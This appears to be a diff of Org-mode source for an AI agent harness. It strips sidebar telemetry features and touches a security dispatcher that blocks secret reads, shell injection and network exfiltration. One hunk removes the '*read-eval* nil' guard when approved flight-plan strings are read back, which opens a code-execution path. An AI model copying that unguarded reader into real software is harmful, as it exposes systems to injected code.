5. **TODO keywords** follow the standard sequence: ~TODO~ → ~NEXT~ → ~IN-PROGRESS~ → ~DONE~ / ~BLOCKED~ / ~CANCELLED~.
6. **The Agent** updates these automatically during Phase E of the lifecycle. The human never needs to write a UUID or timestamp manually — the agent generates and inserts them.
Example:
#+begin_src org
*** DONE Event Orchestrator
:PROPERTIES:
:ID: id-4a2b9c8f-3d7e-4f12-a9b0-1c2d3e4f5a6b
:CREATED: [2026-05-02 Sat]
:END:
:LOGBOOK:
- State "DONE" from "TODO" [2026-05-02 Sat 18:00]
:END:
CLOSED: [2026-05-02 Sat 18:00]
#+end_src
* Implementation

129
org/programming-tools.org
View File

@@ -24,32 +24,6 @@ Each tool is registered via ~def-cognitive-tool~ and appears in the LLM's tool b
11. ~run-tests~: given optional ~:test-name~, runs specific test or all suites via ~fiveam:run-all-tests~.
12. ~org-find-headline~: given ~:id~ or ~:title~, searches ~*memory-store*~ for matching memory objects.
13. ~org-modify-file~: given ~:filepath~, ~:old-text~, ~:new-text~, performs exact-string replacement. Returns error if text not found.
14. (tool-register-modified filepath &key old-content new-content):
appends a modification record to ~*modified-files-this-turn*~.
Returns the record plist ~(:filepath <s> :timestamp <unix>
:lines-added <n> :lines-removed <n>)~.
15. (tool-modified-files-summary): returns the list of modified-file
plists accumulated this turn and clears ~*modified-files-this-turn*~.
Returns nil when no files were modified.
** v0.8.0 — Modified Files Tracking
The sidebar's Files panel needs to know which files the agent modified in
the most recent tool execution. ~*modified-files-this-turn*~ is a list of
plists tracking each write operation: ~(:filepath <string> :timestamp <unix>
:lines-added <int> :lines-removed <int>)~.
~tool-register-modified~ is called by ~write-file~ and ~org-modify-file~
after successful writes. It computes line counts by comparing the old and
new content (when available) or records the operation with nil counts.
~tool-modified-files-summary~ returns the accumulated list and resets
it for the next turn (reset happens at the start of each ~think()~ cycle
in ~core-reason.lisp~).
The tracking is per-turn, not cumulative — the sidebar shows what changed
in the /last/ tool execution, matching the tool-execution visualization
pattern from v0.7.1. Cumulative file tracking belongs in the version
control system.
* Implementation
@@ -182,13 +156,12 @@ Writes string content to a file, creating parent directories as needed.
(content (getf args :content)))
(unless (and filepath content)
(return (list :status :error :message "write-file requires :filepath and :content")))
(handler-case
(progn
(tools-write-file filepath content)
(verify-write filepath content)
(tool-register-modified filepath :new-content content)
(list :status :success
:content (format nil "Written ~d bytes to ~a" (length content) filepath)))
(handler-case
(progn
(tools-write-file filepath content)
(verify-write filepath content)
(list :status :success
:content (format nil "Written ~d bytes to ~a" (length content) filepath)))
(error (c) (list :status :error :message (format nil "~a" c))))))))
#+end_src
@@ -358,13 +331,12 @@ Surgical text replacement in an Org file — matches exact text and replaces it.
(let ((content (uiop:read-file-string filepath)))
(let ((pos (search old-text content)))
(if pos
(let ((new-content (concatenate 'string
(subseq content 0 pos)
new-text
(subseq content (+ pos (length old-text))))))
(tools-write-file filepath new-content)
(tool-register-modified filepath :old-content content :new-content new-content)
(list :status :success
(let ((new-content (concatenate 'string
(subseq content 0 pos)
new-text
(subseq content (+ pos (length old-text))))))
(tools-write-file filepath new-content)
(list :status :success
:content (format nil "Replaced at position ~d in ~a" pos filepath)))
(list :status :error :message (format nil "Text not found in ~a" filepath)))))
(error (c) (list :status :error :message (format nil "~a" c))))))))
@@ -379,9 +351,10 @@ Surgical text replacement in an Org file — matches exact text and replaces it.
:deterministic (lambda (action ctx) (declare (ignore action ctx)) nil))
#+end_src
** Package Definition and Export List
The package definition. All public symbols are exported here.
#+begin_src lisp :tangle no
#+begin_src lisp
(defpackage :passepartout
(:use :cl)
(:export
@@ -554,7 +527,7 @@ The package implementation section defines the low-level utilities and global st
*** Robust plist access (plist-get)
Retrieves a value from a plist, checking both upper and lowercase keyword variants. This is needed because different components use different keyword conventions.
#+begin_src lisp :tangle no
#+begin_src lisp
(in-package :passepartout)
(defun plist-get (plist key)
@@ -567,7 +540,7 @@ Retrieves a value from a plist, checking both upper and lowercase keyword varian
*** Logging state
The harness maintains a bounded ring buffer of log messages for inclusion in LLM context. Access is thread-safe via a lock.
#+begin_src lisp :tangle no
#+begin_src lisp
(defvar *log-buffer* nil)
(defvar *log-lock* (bordeaux-threads:make-lock "log-messages-lock"))
(defvar *log-limit* 100)
@@ -575,14 +548,14 @@ The harness maintains a bounded ring buffer of log messages for inclusion in LLM
*** Skill registry
The global registry of all loaded skills. This is the authoritative list that the deterministic engine iterates.
#+begin_src lisp :tangle no
#+begin_src lisp
(defvar *skill-registry* (make-hash-table :test 'equal)
"Global registry of all loaded skills.")
#+end_src
*** Skill telemetry
Tracks execution metrics per skill (count, duration, failures) for diagnostics and performance analysis.
#+begin_src lisp :tangle no
#+begin_src lisp
(defvar *telemetry-table* (make-hash-table :test 'equal))
(defvar *telemetry-lock* (bordeaux-threads:make-lock "harness-telemetry-lock"))
@@ -599,7 +572,7 @@ Tracks execution metrics per skill (count, duration, failures) for diagnostics a
*** Cognitive tool registry
Tools that the LLM can invoke are registered here. Each tool has a name, description, parameters, optional guard, and implementation body. The ~def-cognitive-tool~ macro handles registration. ~cognitive-tool-prompt~ serialises the registry into the LLM's system prompt.
#+begin_src lisp :tangle no
#+begin_src lisp
(defvar *cognitive-tool-registry* (make-hash-table :test 'equal))
#+end_src
@@ -777,68 +750,4 @@ Tools that the LLM can invoke are registered here. Each tool has a name, descrip
"org-modify-file returns error without required params."
(let ((result (call-tool 'org-modify-file :filepath "x" :old-text "y")))
(is (eq (getf result :status) :error))))
#+end_src* v0.8.0 — Modified Files Tracking
#+begin_src lisp
(defvar *modified-files-this-turn* nil
"List of plists recording file modifications in the current turn.")
(defun tool-register-modified (filepath &key old-content new-content)
"Record a file modification. Returns the record plist."
(labels ((count-lines (s)
(+ (count #\Newline s)
;; Also count escaped \\n in string literals (used in tests)
(let ((n 0) (i 0))
(loop while (setf i (search "\\n" s :start2 i))
do (incf n) (incf i))
n))))
(let* ((lines-added (if (and new-content old-content)
(max 0 (- (count-lines new-content)
(count-lines old-content)))
0))
(lines-removed (if (and new-content old-content)
(max 0 (- (count-lines old-content)
(count-lines new-content)))
0))
(rec (list :filepath filepath
:timestamp (get-universal-time)
:lines-added lines-added
:lines-removed lines-removed)))
(push rec *modified-files-this-turn*)
rec)))
(defun tool-modified-files-summary ()
"Returns the list of modified-file records and clears the list."
(prog1 (nreverse *modified-files-this-turn*)
(setf *modified-files-this-turn* nil)))
#+end_src
* v0.8.0 Tests — Modified Files Tracking
#+begin_src lisp
(in-package :passepartout-programming-tools-tests)
(test test-modified-files-track-write
"Contract 14: tool-register-modified appends to *modified-files-this-turn*."
(setf passepartout::*modified-files-this-turn* nil)
(let ((rec (passepartout::tool-register-modified "/tmp/test.org"
:old-content "old" :new-content "line1
line2")))
(is (string= "/tmp/test.org" (getf rec :filepath)))
(is (= 0 (getf rec :lines-removed)))
(is (= 1 (getf rec :lines-added)))
(is (= 1 (length passepartout::*modified-files-this-turn*)))))
(test test-modified-files-summary
"Contract 15: tool-modified-files-summary returns list and clears."
(setf passepartout::*modified-files-this-turn* nil)
(passepartout::tool-register-modified "/tmp/a.org")
(passepartout::tool-register-modified "/tmp/b.org")
(let ((files (passepartout::tool-modified-files-summary)))
(is (= 2 (length files)))
(is (null passepartout::*modified-files-this-turn*))
(is (find "/tmp/a.org" files :key (lambda (f) (getf f :filepath)) :test #'string=))))
(test test-modified-files-empty
"Contract 15: tool-modified-files-summary returns nil when no files modified."
(setf passepartout::*modified-files-this-turn* nil)
(is (null (passepartout::tool-modified-files-summary))))
#+end_src

268
org/security-dispatcher.org
View File

@@ -47,39 +47,12 @@ The Dispatcher also handles the **Flight Plan** system: when a high-risk action
T if found, nil if invalid token.
9. (hitl-deny token): denies and removes a pending action. Returns T if
found, nil if invalid.
10. (dispatcher-block-record gate-name): records a block decision in
~*dispatcher-block-counts*~ alist. Returns the updated count for
that gate.
11. (dispatcher-block-counts-summary): returns plist
~(:total <N> :by-gate ((<gate> . <count>) ...))~ of all blocked
actions this session.
** Boundaries
- Does NOT handle the gate approval routing — that is ~core-reason.org~.
- Does NOT persist HITL tokens — they live in memory only.
** v0.8.0 — Dispatcher Block Counts
The sidebar's Protection panel (panel 7 of the Information Radiator)
needs per-gate block statistics — how many times each of the ten
deterministic vectors blocked an action. This is the specific-value-
proposition panel: no competitor can count deterministic gate blocks
because none has deterministic gates.
~*dispatcher-block-counts*~ is an alist mapping gate keyword to integer
count: ~((:secret-path . 3) (:shell-safety . 12) (:network-exfil . 7) ...)~.
Incremented in ~dispatcher-check~ on every ~:blocked~ result via
~dispatcher-block-record~. Exposed to the TUI via ~dispatcher-block-counts-summary~,
which returns a plist with ~:total~ and ~:by-gate~ fields. The TUI actuator
in ~core-act.org~ reads this via ~fboundp~ guard and injects ~:block-counts~
into the response plist.
The counter is session-scoped (lives in memory). It does not persist across
daemon restarts — it tracks what happened /this/ session, which is what the
sidebar shows. Historical block telemetry belongs in the telemetry system
(v0.12.0).
* Implementation
** Package Context
@@ -491,60 +464,54 @@ Eleven checks: 0=REPL-lint (warn-only), 1=lisp-validation, 2=secret-path,
action)
;; Vector 1: Lisp syntax validation (block bad lisp writes)
((and lisp-valid (eq (getf lisp-valid :status) :error))
(log-message "LINT VIOLATION: Blocked write — lisp syntax error in ~a: ~a" filepath (getf lisp-valid :reason))
(dispatcher-block-record :lisp-validation)
(list :type :LOG
:payload (list :level :error
:text (format nil "Lisp syntax error in ~a: ~a. The write was blocked. Fix the parenthesis balance and retry." filepath (getf lisp-valid :reason)))))
((and lisp-valid (eq (getf lisp-valid :status) :error))
(log-message "LINT VIOLATION: Blocked write — lisp syntax error in ~a: ~a" filepath (getf lisp-valid :reason))
(list :type :LOG
:payload (list :level :error
:text (format nil "Lisp syntax error in ~a: ~a. The write was blocked. Fix the parenthesis balance and retry." filepath (getf lisp-valid :reason)))))
;; Vector 2: File read to a protected secret path
((and filepath (dispatcher-check-secret-path filepath))
(let ((matched (dispatcher-check-secret-path filepath)))
(log-message "SECURITY VIOLATION: Blocked read of protected path '~a' (matched: ~a)" filepath matched)
(dispatcher-block-record :secret-path)
(list :type :LOG
:payload (list :level :error
:text (format nil "Action blocked: Attempted read of protected path '~a'" filepath)))))
;; Vector 2: File read to a protected secret path
((and filepath (dispatcher-check-secret-path filepath))
(let ((matched (dispatcher-check-secret-path filepath)))
(log-message "SECURITY VIOLATION: Blocked read of protected path '~a' (matched: ~a)" filepath matched)
(list :type :LOG
:payload (list :level :error
:text (format nil "Action blocked: Attempted read of protected path '~a'" filepath)))))
;; Vector 2b: Self-build safety — core file writes require HITL approval
((and filepath content
(string-equal (uiop:getenv "SELF_BUILD_MODE") "true")
(dispatcher-check-core-path filepath))
(log-message "SELF-BUILD: Core file write to '~a' requires approval" filepath)
(dispatcher-block-record :self-build-core)
(list :type :EVENT :level :approval-required
:payload (list :sensor :approval-required :action action
:message (format nil "Core file write blocked: '~a' requires HITL approval via Flight Plan." filepath))))
;; Vector 2b: Self-build safety — core file writes require HITL approval
((and filepath content
(string-equal (uiop:getenv "SELF_BUILD_MODE") "true")
(dispatcher-check-core-path filepath))
(log-message "SELF-BUILD: Core file write to '~a' requires approval" filepath)
(list :type :EVENT :level :approval-required
:payload (list :sensor :approval-required :action action
:message (format nil "Core file write blocked: '~a' requires HITL approval via Flight Plan." filepath))))
;; Vector 3: Content contains secret patterns
((and text (dispatcher-exposure-scan text))
(let ((matched (dispatcher-exposure-scan text)))
(log-message "SECURITY VIOLATION: Content contains secret patterns: ~a" matched)
(dispatcher-block-record :secret-content)
(list :type :LOG
:payload (list :level :error
:text "Action blocked: Content contains potential secret exposure."))))
;; Vector 3: Content contains secret patterns
((and text (dispatcher-exposure-scan text))
(let ((matched (dispatcher-exposure-scan text)))
(log-message "SECURITY VIOLATION: Content contains secret patterns: ~a" matched)
(list :type :LOG
:payload (list :level :error
:text "Action blocked: Content contains potential secret exposure."))))
;; Vector 4: Content contains vault secrets
((and text (dispatcher-vault-scan text))
(let ((secret-name (dispatcher-vault-scan text)))
(log-message "SECURITY VIOLATION: Blocked potential leak of secret '~a'" secret-name)
(dispatcher-block-record :vault-secrets)
(list :type :LOG
:payload (list :level :error
:text (format nil "Action blocked: Potential exposure of '~a'" secret-name)))))
;; Vector 4: Content contains vault secrets
((and text (dispatcher-vault-scan text))
(let ((secret-name (dispatcher-vault-scan text)))
(log-message "SECURITY VIOLATION: Blocked potential leak of secret '~a'" secret-name)
(list :type :LOG
:payload (list :level :error
:text (format nil "Action blocked: Potential exposure of '~a'" secret-name)))))
;; Vector 5: Privacy-tagged content (severity tiers)
((and tags (fboundp 'dispatcher-privacy-severity))
(let ((severity (dispatcher-privacy-severity tags)))
(cond
((eq severity :block)
(log-message "PRIVACY VIOLATION: Blocked by @tag — ~a" tags)
(dispatcher-block-record :privacy-tags)
(list :type :LOG
:payload (list :level :error
:text (format nil "Action blocked: Content tagged with privacy filter (~a)." tags))))
((eq severity :block)
(log-message "PRIVACY VIOLATION: Blocked by @tag — ~a" tags)
(list :type :LOG
:payload (list :level :error
:text (format nil "Action blocked: Content tagged with privacy filter (~a)." tags))))
((eq severity :warn)
(log-message "PRIVACY WARNING: @tag ~a (allowed with warning)" tags)
action)
@@ -552,40 +519,36 @@ Eleven checks: 0=REPL-lint (warn-only), 1=lisp-validation, 2=secret-path,
(log-message "PRIVACY: @tag ~a (logged)" tags)
action))))
;; Vector 6: Text leaks privacy tag names
((and text (dispatcher-check-text-for-privacy text))
(log-message "PRIVACY WARNING: Text may contain leaked private content")
(dispatcher-block-record :privacy-text)
(list :type :LOG
:payload (list :level :warn
:text "Action blocked: Text may reference private content.")))
;; Vector 6: Text leaks privacy tag names
((and text (dispatcher-check-text-for-privacy text))
(log-message "PRIVACY WARNING: Text may contain leaked private content")
(list :type :LOG
:payload (list :level :warn
:text "Action blocked: Text may reference private content.")))
;; Vector 7: Shell destructive/injection patterns
((and cmd (dispatcher-check-shell-safety cmd))
(let ((matched (dispatcher-check-shell-safety cmd)))
(log-message "SHELL VIOLATION: Destructive or injection pattern in command: ~a" matched)
(dispatcher-block-record :shell-safety)
(list :type :LOG
:payload (list :level :error
:text (format nil "Shell command blocked: contains unsafe pattern ~a" matched)))))
;; Vector 7: Shell destructive/injection patterns
((and cmd (dispatcher-check-shell-safety cmd))
(let ((matched (dispatcher-check-shell-safety cmd)))
(log-message "SHELL VIOLATION: Destructive or injection pattern in command: ~a" matched)
(list :type :LOG
:payload (list :level :error
:text (format nil "Shell command blocked: contains unsafe pattern ~a" matched)))))
;; Vector 8: Network exfiltration
((and (or (eq target :shell)
(and (eq target :tool) (equal (proto-get payload :tool) "shell")))
(dispatcher-check-network-exfil cmd))
(log-message "SECURITY WARNING: External network call detected. Queuing for approval.")
(dispatcher-block-record :network-exfil)
(list :type :EVENT :level :approval-required
:payload (list :sensor :approval-required :action action)))
;; Vector 8: Network exfiltration
((and (or (eq target :shell)
(and (eq target :tool) (equal (proto-get payload :tool) "shell")))
(dispatcher-check-network-exfil cmd))
(log-message "SECURITY WARNING: External network call detected. Queuing for approval.")
(list :type :EVENT :level :approval-required
:payload (list :sensor :approval-required :action action)))
;; Vector 8b: High-impact action approval
((or (member target '(:shell))
(and (eq target :tool) (member (proto-get payload :tool) '("shell" "repair-file") :test #'string=))
(and (eq target :emacs) (eq (proto-get payload :action) :eval))
(and (eq target :system) (eq (proto-get payload :action) :eval)))
(log-message "SECURITY: High-impact action requires approval: ~a" (or (proto-get payload :tool) target))
(dispatcher-block-record :high-impact-approval)
(list :type :EVENT :payload (list :sensor :approval-required :action action)))
;; Vector 8: High-impact action approval
((or (member target '(:shell))
(and (eq target :tool) (member (proto-get payload :tool) '("shell" "repair-file") :test #'string=))
(and (eq target :emacs) (eq (proto-get payload :action) :eval))
(and (eq target :system) (eq (proto-get payload :action) :eval)))
(log-message "SECURITY: High-impact action requires approval: ~a" (or (proto-get payload :tool) target))
(list :type :EVENT :payload (list :sensor :approval-required :action action)))
(t action))))
#+end_src
@@ -603,7 +566,7 @@ Eleven checks: 0=REPL-lint (warn-only), 1=lisp-validation, 2=secret-path,
(action-str (getf attrs :ACTION)))
(when (and (member "FLIGHT_PLAN" tags :test #'string-equal) action-str)
(log-message "DISPATCHER: Found approved flight plan '~a'. Re-injecting..." (memory-object-id node))
(let ((action (ignore-errors (let ((*read-eval* nil)) (read-from-string action-str)))))
(let ((action (ignore-errors (read-from-string action-str))))
(when action
(setf (getf action :approved) t)
(stimulus-inject (list :type :EVENT
@@ -773,35 +736,6 @@ Recognized formats:
:deterministic #'dispatcher-gate)
#+end_src
** v0.8.0 — Block Count Tracking
~*dispatcher-block-counts*~ is a hash table mapping gate keyword to
integer block count. Every blocking decision in ~dispatcher-check~
records the block via ~dispatcher-block-record~. The sidebar's Protection
panel reads the summary via ~dispatcher-block-counts-summary~, called
from ~core-act.org~'s ~:tui~ actuator via ~fboundp~ guard.
#+begin_src lisp
(defvar *dispatcher-block-counts* (make-hash-table :test 'equal)
"Per-gate block count: maps gate keyword → integer.")
(defun dispatcher-block-record (gate-name)
"Records a block decision for GATE-NAME. Returns the updated count."
(let ((count (1+ (gethash gate-name *dispatcher-block-counts* 0))))
(setf (gethash gate-name *dispatcher-block-counts*) count)
count))
(defun dispatcher-block-counts-summary ()
"Returns plist (:total <N> :by-gate ((<gate> . <count>) ...))."
(let* ((by-gate
(loop for k being the hash-keys of *dispatcher-block-counts*
for v = (gethash k *dispatcher-block-counts*)
collect (cons k v)))
(total (reduce #'+ (mapcar #'cdr by-gate) :initial-value 0))
(sorted (sort (copy-list by-gate) #'> :key #'cdr)))
(list :total total :by-gate sorted)))
#+end_src
* Test Suite
#+begin_src lisp
@@ -903,7 +837,7 @@ from ~core-act.org~'s ~:tui~ actuator via ~fboundp~ guard.
(is (eq :block (passepartout::tag-category-severity "@personal")))
(is (eq :warn (passepartout::tag-category-severity "@draft")))
(is (eq :log (passepartout::tag-category-severity "@review"))))
(ignore-errors (setf (uiop:getenv "TAG_CATEGORIES") nil)))
(setf (uiop:getenv "TAG_CATEGORIES") nil))
(test test-tag-category-severity-unknown
"Contract v0.7.2: unknown tag returns nil."
@@ -970,53 +904,21 @@ from ~core-act.org~'s ~:tui~ actuator via ~fboundp~ guard.
(test test-safe-tool-write-still-checked
"Contract v0.7.2: write tools still go through full dispatcher check."
(let ((orig-tool (gethash "write-file" passepartout::*cognitive-tool-registry*)))
(setf (gethash "write-file" passepartout::*cognitive-tool-registry*)
(passepartout::make-cognitive-tool :name "write-file"
:description "File writer"
:parameters nil
:guard nil
:body nil
:read-only-p nil))
(unwind-protect
(progn
(setf (uiop:getenv "SELF_BUILD_MODE") "true")
(let* ((action '(:TYPE :REQUEST :TARGET :tool
:PAYLOAD (:TOOL "write-file" :ARGS (:FILEPATH "core-reason.org" :CONTENT "x"))))
(result (dispatcher-check action nil)))
(is (eq :approval-required (getf result :level)))
(is (search "HITL" (getf (getf result :payload) :message)))))
(setf (uiop:getenv "SELF_BUILD_MODE") "false")
(if orig-tool
(setf (gethash "write-file" passepartout::*cognitive-tool-registry*) orig-tool)
(remhash "write-file" passepartout::*cognitive-tool-registry*)))))
#+end_src* v0.8.0 Tests — Block Counts
#+begin_src lisp
(in-package :passepartout-security-dispatcher-tests)
(test test-block-record-increments
"Contract 10: dispatcher-block-record increments per-gate count."
(clrhash passepartout::*dispatcher-block-counts*)
(is (= 1 (passepartout::dispatcher-block-record :shell-safety)))
(is (= 2 (passepartout::dispatcher-block-record :shell-safety)))
(is (= 2 (gethash :shell-safety passepartout::*dispatcher-block-counts*))))
(test test-block-counts-summary
"Contract 11: dispatcher-block-counts-summary returns total and by-gate."
(clrhash passepartout::*dispatcher-block-counts*)
(passepartout::dispatcher-block-record :shell-safety)
(passepartout::dispatcher-block-record :shell-safety)
(passepartout::dispatcher-block-record :secret-path)
(let ((s (passepartout::dispatcher-block-counts-summary)))
(is (= 3 (getf s :total)))
(let ((by-gate (getf s :by-gate)))
(is (= 2 (cdr (assoc :shell-safety by-gate))))
(is (= 1 (cdr (assoc :secret-path by-gate)))))))
(test test-block-counts-empty
"Contract 11: dispatcher-block-counts-summary returns zero when no blocks."
(clrhash passepartout::*dispatcher-block-counts*)
(let ((s (passepartout::dispatcher-block-counts-summary)))
(is (= 0 (getf s :total)))
(is (null (getf s :by-gate)))))
(setf (gethash "write-file" passepartout::*cognitive-tool-registry*)
(passepartout::make-cognitive-tool :name "write-file"
:description "File writer"
:parameters nil
:guard nil
:body nil
:read-only-p nil))
(unwind-protect
(progn
(setf (uiop:getenv "SELF_BUILD_MODE") "true")
(let* ((action '(:TYPE :REQUEST :TARGET :tool
:PAYLOAD (:TOOL "write-file" :ARGS (:FILEPATH "core-reason.org" :CONTENT "x"))))
(result (dispatcher-check action nil)))
(setf (uiop:getenv "SELF_BUILD_MODE") "false")
(is (eq :approval-required (getf result :level)))
(is (search "HITL" (getf (getf result :payload) :message)))))
(remhash "write-file" passepartout::*cognitive-tool-registry*)))
#+end_src

2
org/security-permissions.org
View File

@@ -95,4 +95,4 @@ Retrieves the current permission level for a tool. Defaults to ~:ask~ if unset.
(permission-set :CapitalTool :deny)
(is (eq :deny (permission-get :capitaltool)))
(permission-set "CapitalTool" nil))
#+end_src
#+end_src

2
org/security-policy.org
View File

@@ -89,4 +89,4 @@ The Policy skill is intentionally simple. It has one job: ensure every action ha
(let* ((action '(:type :REQUEST :payload (:action :read)))
(result (policy-compliance-check action nil)))
(is (eq :LOG (getf result :type)))))
#+end_src
#+end_src

2
org/security-validator.org
View File

@@ -85,4 +85,4 @@ before they reach any cognitive stage.
(let ((msg '(:payload (:sensor :heartbeat))))
(signals error
(validator-protocol-check msg))))
#+end_src
#+end_src

7
org/security-vault.org
View File

@@ -103,6 +103,13 @@ Delegates to the existing =vault-get=/=vault-set= with ~:type :secret~.
:trigger (lambda (ctx) (declare (ignore ctx)) nil))
#+end_src
** Vault Memory (relocated from core-skills)
#+begin_src lisp
(defvar *VAULT-MEMORY* (make-hash-table :test 'equal))
#+end_src
* Test Suite
#+begin_src lisp

2
org/sensor-time.org
View File

@@ -214,4 +214,4 @@ Called by the time-tick cron job every minute."
(let ((result (passepartout::sensor-time-tick)))
(is (not (null result)))
(is (search "Submit report" result))))
#+end_src
#+end_src

2
org/symbolic-awareness.org
View File

@@ -380,4 +380,4 @@ Verifies that the Foveal-Peripheral rendering correctly distinguishes between fo
(v6 (passepartout::embedding-backend-trigram "banana")))
(let ((sim (passepartout::vector-cosine-similarity v5 v6)))
(is (< sim 0.3)))))
#+end_src
#+end_src

38
org/symbolic-scope.org
View File

@@ -14,28 +14,6 @@ The core provides the mechanism (=memory-object-scope=, =context-query= with
scope parameter). This skill provides the policy — what to focus on, what
scope means for each project, and how the stack is managed.
** Contract
1. (push-context &key project base-path scope): pushes a context plist
onto ~*context-stack*~. Blocks if depth exceeds ~*context-max-depth*~.
2. (pop-context): pops and returns the top context. If the stack would
become empty, inserts a default memex-wide context instead.
3. (current-context): returns the top-of-stack context plist.
4. (current-scope): returns the ~:scope~ keyword from the current context.
5. (current-project): returns the ~:project~ name from the current context.
6. (current-base-path): returns the ~:base-path~ from the current context.
7. (context-stack-depth): returns the number of contexts on the stack.
8. (focus-project name base-path): pushes a new context for the named
project. Sets ~*scope-resolver*~ to return ~:project~.
9. (focus-session): pushes an ephemeral context for the current session.
10. (focus-memex): pushes a global memex-wide context.
11. (unfocus): pops one level from the context stack.
12. (resolve-path path): resolves a path relative to the current base-path.
13. (context-scoped-query &key tag todo-state type): queries memory filtered
by the current context's scope.
14. (context-save): persists the context stack to disk.
15. (context-load): restores the context stack from disk on startup.
* Implementation
** Context Stack
@@ -311,6 +289,14 @@ Also restores any previously saved context stack.
(context-load)
#+end_src
* Contract
1. (push-context &key project base-path scope): pushes a context plist
onto ~*context-stack*~ and persists to disk.
2. (pop-context): pops the top context, persists, returns restored context.
3. (context-save): serializes ~*context-stack*~ to the persistence file.
4. (context-load): restores ~*context-stack*~ from persistence file on boot.
* Test Suite
#+begin_src lisp
(eval-when (:compile-toplevel :load-toplevel :execute)
@@ -354,10 +340,4 @@ Also restores any previously saved context stack.
(fiveam:is (= 1 (length (symbol-value stack-var))))
(fiveam:is (string= "test" (getf (car (symbol-value stack-var)) :project)))
(ignore-errors (delete-file tmpfile))))))
#+end_src* Contract
1. (push-context &key project base-path scope): pushes a context plist
onto ~*context-stack*~ and persists to disk.
2. (pop-context): pops the top context, persists, returns restored context.
3. (context-save): serializes ~*context-stack*~ to the persistence file.
4. (context-load): restores ~*context-stack*~ from persistence file on boot.
#+end_src

2
org/symbolic-time-memory.org
View File

@@ -153,4 +153,4 @@ Falls back to context-query if temporal filtering is not requested."
(let ((range (passepartout::memory-objects-in-range t1 t2)))
(is (= 1 (length range)))
(is (string= "rng-2" (memory-object-id (first range)))))))))
#+end_src
#+end_src

79
org/token-economics.org
View File

@@ -27,19 +27,6 @@ core-reason thin while enabling token economics as a hot-loadable skill.
Depends on: tokenizer.lisp, cost-tracker.lisp
** v0.8.0 — Context Usage for Sidebar
The sidebar's Context gauge needs a single integer: 0-100 representing
how much of the token budget is consumed. ~context-usage-percentage~
computes this from ~*context-cache*~'s stored token counts and
~CONTEXT_MAX_TOKENS~ (or the model's context limit from ~tokenizer~).
The function is a thin wrapper (~8 lines): read the most recent context
assembly's token count from ~*context-cache*~, divide by the budget,
multiply by 100, clamp to [0, 100]. Called from ~core-act.org~'s ~:tui~
actuator via ~fboundp~ guard. Degrades gracefully to nil when
token-economics is not loaded.
** Contract
1. (prompt-prefix-cached assistant-name identity-content feedback mandates-text tool-belt):
@@ -57,10 +44,6 @@ token-economics is not loaded.
L3: downgrade context to single-line summary
Returns (values trimmed-prefix trimmed-ctxt trimmed-logs trimmed-user trimmed-mandates).
4. (token-economics-initialize): zeroes the cache state at daemon boot.
5. (context-usage-percentage): returns integer 0-100 representing
current token budget consumption from ~*context-cache*~. Clamped.
Returns nil when no context cache data is available. Consumed by
the TUI actuator for the sidebar Context gauge (v0.8.0).
* Implementation
@@ -74,9 +57,7 @@ token-economics is not loaded.
(defvar *prompt-prefix-cache* (cons nil "")
"Prompt prefix cache: (sxhash . cached-string). Rebuilt when IDENTITY or TOOLS change.")
(defvar *context-cache* (list :foveal-id nil :scope nil :memory-timestamp 0 :rendered ""
:identity-tokens 0 :tool-tokens 0 :context-tokens 0
:log-tokens 0 :config-tokens 0 :time-tokens 0)
(defvar *context-cache* (list :foveal-id nil :scope nil :memory-timestamp 0 :rendered "")
"Context assembly cache: metadata + last rendered context string.")
#+end_src
@@ -146,9 +127,7 @@ with trimmed sections."
(ignore-errors
(parse-integer (uiop:getenv "CONTEXT_MAX_TOKENS")))
16384)))
(labels ((ct (s) (if (fboundp 'count-tokens)
(funcall (symbol-function 'count-tokens) s)
(ceiling (length s) 4)))
(labels ((ct (s) (funcall (symbol-function 'count-tokens) s))
(total-tokens (p c l u m)
(+ (ct p)
(if c (ct c) 0)
@@ -190,25 +169,6 @@ with trimmed sections."
(getf *context-cache* :rendered) ""))
#+end_src
** Contract 5: context usage percentage (v0.8.0)
#+begin_src lisp
(defun context-usage-percentage ()
"Returns integer 0-100: current token budget consumption.
Returns nil when no context cache data is available."
(let* ((limit (or (ignore-errors
(parse-integer (uiop:getenv "CONTEXT_MAX_TOKENS")))
16384))
(tokens (+ (or (getf *context-cache* :identity-tokens) 0)
(or (getf *context-cache* :tool-tokens) 0)
(or (getf *context-cache* :context-tokens) 0)
(or (getf *context-cache* :log-tokens) 0)
(or (getf *context-cache* :config-tokens) 0)
(or (getf *context-cache* :time-tokens) 0))))
(if (> tokens 0)
(min 100 (floor (* 100 tokens) limit))
nil)))
#+end_src
* Test Suite
#+begin_src lisp
(eval-when (:compile-toplevel :load-toplevel :execute)
@@ -309,37 +269,4 @@ Returns nil when no context cache data is available."
(is (null (car passepartout::*prompt-prefix-cache*)))
(is (string= "" (cdr passepartout::*prompt-prefix-cache*)))
(is (string= "" (getf passepartout::*context-cache* :rendered))))
#+end_src* v0.8.0 Tests — Context Usage
#+begin_src lisp
(in-package :passepartout-token-economics-tests)
(test test-context-usage-percentage
"Contract 5: context-usage-percentage returns integer 0-100."
;; Set up a cache with known token counts
(let* ((ctx passepartout::*context-cache*)
(limit (or (ignore-errors (parse-integer (uiop:getenv "CONTEXT_MAX_TOKENS")))
16384)))
(setf (getf ctx :identity-tokens) 1000
(getf ctx :tool-tokens) 500
(getf ctx :context-tokens) 2000
(getf ctx :log-tokens) 800
(getf ctx :config-tokens) 200
(getf ctx :time-tokens) 100)
(let ((pct (passepartout::context-usage-percentage)))
(is (integerp pct))
(is (<= 0 pct 100)))))
(test test-context-usage-percentage-empty-cache
"Contract 5: context-usage-percentage returns nil with no cache data."
(let ((saved-ctx (copy-list passepartout::*context-cache*)))
(unwind-protect
(progn
(setf (getf passepartout::*context-cache* :identity-tokens) nil
(getf passepartout::*context-cache* :tool-tokens) nil
(getf passepartout::*context-cache* :context-tokens) nil
(getf passepartout::*context-cache* :log-tokens) nil
(getf passepartout::*context-cache* :config-tokens) nil
(getf passepartout::*context-cache* :time-tokens) nil)
(is (null (passepartout::context-usage-percentage))))
(setf passepartout::*context-cache* saved-ctx))))
#+end_src
#+end_src

2
org/tokenizer.org
View File

@@ -223,4 +223,4 @@ Uses the provider's default model for pricing."
"Contract 1: non-string values are coerced and counted."
(let ((count (count-tokens 12345)))
(is (> count 0))))
#+end_src
#+end_src

64
passepartout
View File

@@ -17,7 +17,7 @@ done
export SCRIPT_DIR="$( cd -P "$( dirname "$SOURCE" )" && pwd )"
export PASSEPARTOUT_CONFIG_DIR="$(realpath -m "${XDG_CONFIG_HOME:-$HOME/.config}/passepartout")"
